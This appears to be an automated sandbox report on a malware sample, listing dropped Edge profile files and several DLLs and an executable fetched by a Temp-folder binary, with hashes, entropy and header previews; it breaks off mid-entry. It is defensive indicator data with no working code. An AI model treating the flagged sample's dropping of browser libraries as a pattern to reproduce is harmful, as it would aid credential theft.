Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-675FF4F4-1B44.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04695610168704065
Encrypted:	false
SSDEEP:	192:5U8A0m5tm1nOAWyYDJ8STlGazrZX/gLXk2IW8EozTvhNi8N4o3vRQ8NPwn8y08TQ:rA0UtWAXYkfhJPpZPw08T2RGOD
MD5:	3DFABA4FCA9BB855B20C4A1DE7D5AFDB
SHA1:	3D99EF0A2A1E6729DB4C41F117C34C1D3ECBB68D
SHA-256:	779151B872EB4DF3A56D80D4D4808A641DE58F8E832E00FAEF7FD906DA323609
SHA-512:	32B10E980215170B5083A737B7A36F96045E93E90A42F88DB328ABDE922839CA99AA204063BC330EC6BA74572D6E8BFA1FFC6614933314AF3CE58D3A9CD7FA48
Malicious:	false
Preview:	...@..@...@.....C.].....@................i...Y..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".oyxymq20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............%..................-...w..U..G...W6.>.........."....."...24.."."93dRcxCw0cDlBQeAYE33nFACeirrSGEv1FXdrR8ueYg=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....Mb.XiP@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.........5...... .2...........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-675FF4F5-194C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04675748609472112
Encrypted:	false
SSDEEP:	192:svfAv0m5tm1nOAW6YjJwA8x5XSggykHzhuB0NEIMIsdGRQchvMABN4OvQQn8y08s:6G0UtWYQk5h60GuxMA74OT08T2RGOD
MD5:	0793DD866BD0B06CAC1FDB113AAA8879
SHA1:	9C9D33AF2784A6A9246293326807126E81F9CC60
SHA-256:	EA63BDAD3BACDDDF2FAE2137334D6AC4254B1C70BDC160E57FC7E1BAC521F37C
SHA-512:	071518D969502A24BDA58F1D300A7B9F665E1B9A350433F9A9B7BA35D2F1B17AF5DD4EE9E2723712D06D3BFA93550B0453FA7D3F8E5C931FBEF410B0E69ADE77
Malicious:	false
Preview:	...@..@...@.....C.].....@................g..8W..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".oyxymq20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............%..................-...w..U?:K...G...W6.>.........."....."...24.."."93dRcxCw0cDlBQeAYE33nFACeirrSGEv1FXdrR8ueYg=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....Mb.XiP@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.1326399824826066
Encrypted:	false
SSDEEP:	3:FiWWltlT0EiCjG2xo6kMWPGdV8B+BVP/Sh/JzvXEAAG34tTAUFVHTtOllt:o1AGGwwMWj+BVsJDkG3V80/
MD5:	DB0B5F32DD6A247AE52AF2E9280D22D6
SHA1:	DF845EBCFC1E637F3A8674D6F24D1206637C358A
SHA-256:	20F50A96662CC19C9EA2D5C00F8FEECC0FFBD4B6290102C46CB7BB8B1B9CBFAE
SHA-512:	87962BBB3C6F8B5AE66B669B2B24C772E7CBA73C9AF57F57BF05657B5FDADB53B6DDD84914D4C465241591B26F07C61E358AC77A5E35281AE0EBFA13FA2EF14D
Malicious:	false
Preview:	sdPC.......................c.CsJ......5"93dRcxCw0cDlBQeAYE33nFACeirrSGEv1FXdrR8ueYg="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................e9a6470b-82e9-4451-b995-4e1980b580b6............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.101674094446602
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yneCBS2qX7bCtPHgorQXdbiR3oM:z/0+zI7ynekS20StP0Xdbe3
MD5:	262369B75508BC9B424668A5C2B5BC3C
SHA1:	A887830893E304564C8893B7B38AC1349A79975D
SHA-256:	E54881BDF2EF4C9456751B7507B6037A859A8B8CD727EC39D437475ED2F6EAEF
SHA-512:	2DAE5024CCD016F9D4F91E4629A9EBC0F2C2F95A75C5B3D33609D6E520C0EB28A467B3AAC08D89192A35949104CC8E6055472300781C8287A18E37FB906E5EA2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2e313.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.101674094446602
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yneCBS2qX7bCtPHgorQXdbiR3oM:z/0+zI7ynekS20StP0Xdbe3
MD5:	262369B75508BC9B424668A5C2B5BC3C
SHA1:	A887830893E304564C8893B7B38AC1349A79975D
SHA-256:	E54881BDF2EF4C9456751B7507B6037A859A8B8CD727EC39D437475ED2F6EAEF
SHA-512:	2DAE5024CCD016F9D4F91E4629A9EBC0F2C2F95A75C5B3D33609D6E520C0EB28A467B3AAC08D89192A35949104CC8E6055472300781C8287A18E37FB906E5EA2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2e322.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.101674094446602
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yneCBS2qX7bCtPHgorQXdbiR3oM:z/0+zI7ynekS20StP0Xdbe3
MD5:	262369B75508BC9B424668A5C2B5BC3C
SHA1:	A887830893E304564C8893B7B38AC1349A79975D
SHA-256:	E54881BDF2EF4C9456751B7507B6037A859A8B8CD727EC39D437475ED2F6EAEF
SHA-512:	2DAE5024CCD016F9D4F91E4629A9EBC0F2C2F95A75C5B3D33609D6E520C0EB28A467B3AAC08D89192A35949104CC8E6055472300781C8287A18E37FB906E5EA2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2ee4e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.101674094446602
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yneCBS2qX7bCtPHgorQXdbiR3oM:z/0+zI7ynekS20StP0Xdbe3
MD5:	262369B75508BC9B424668A5C2B5BC3C
SHA1:	A887830893E304564C8893B7B38AC1349A79975D
SHA-256:	E54881BDF2EF4C9456751B7507B6037A859A8B8CD727EC39D437475ED2F6EAEF
SHA-512:	2DAE5024CCD016F9D4F91E4629A9EBC0F2C2F95A75C5B3D33609D6E520C0EB28A467B3AAC08D89192A35949104CC8E6055472300781C8287A18E37FB906E5EA2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2ee6d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.101674094446602
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yneCBS2qX7bCtPHgorQXdbiR3oM:z/0+zI7ynekS20StP0Xdbe3
MD5:	262369B75508BC9B424668A5C2B5BC3C
SHA1:	A887830893E304564C8893B7B38AC1349A79975D
SHA-256:	E54881BDF2EF4C9456751B7507B6037A859A8B8CD727EC39D437475ED2F6EAEF
SHA-512:	2DAE5024CCD016F9D4F91E4629A9EBC0F2C2F95A75C5B3D33609D6E520C0EB28A467B3AAC08D89192A35949104CC8E6055472300781C8287A18E37FB906E5EA2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQp:YQ3Kq9X0dMgAEiLIj
MD5:	8549C255650427D618EF18B14DFD2B56
SHA1:	8272585186777B344DB3960DF62B00F570D247F6
SHA-256:	40395D9CA4B65D48DEAC792844A77D4F8051F1CEF30DF561DACFEEED3C3BAE13
SHA-512:	E5BB8A0AD338372635C3629E306604E3DC5A5C26FB5547A3DD7E404E5261630612C07326E7EBF5B47ABAFADE8E555965A1A59A1EECFC496DCDD5003048898A8C
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\eca0d842-b893-489b-9cff-ac5930cb0148.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	58896
Entropy (8bit):	6.105113666060031
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynAwtCBS2qX7bHwgorQXdbiR3oM:z/0+zI7ynftkS20ZXdbe3
MD5:	B3A67820CFF6776BF9D61C5998C561F8
SHA1:	851CF022627B918DAA2FB727D9BB9C48AB3DD49B
SHA-256:	EDD288D323824EF85B116B4527BD232174B00A154EE8870A507965FF216A0B83
SHA-512:	877341824CCAE9D3745FFCFC7F7ACC15A3BA0BB27FDD526D9EB5A820E8F53AD7E7144151778C11E7024EABB5AC193C71F43746300BC6BADD70085A66404281E5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\freebl3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\mozglue[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\msvcp140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\nss3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3042304
Entropy (8bit):	6.555795534692422
Encrypted:	false
SSDEEP:	49152:ueMrqQKUp8LZi+HoXQYLNLVzKWlpB8Eobr:ZUsi+IHJxzXlT8h
MD5:	215688FC3175B17C270C29FE33195914
SHA1:	3880A4508834EDF56D14CD784660880F0EB012A3
SHA-256:	29851165599092069A369C86ECC491DFDE744C82CB6118C241B41D517D7E11FF
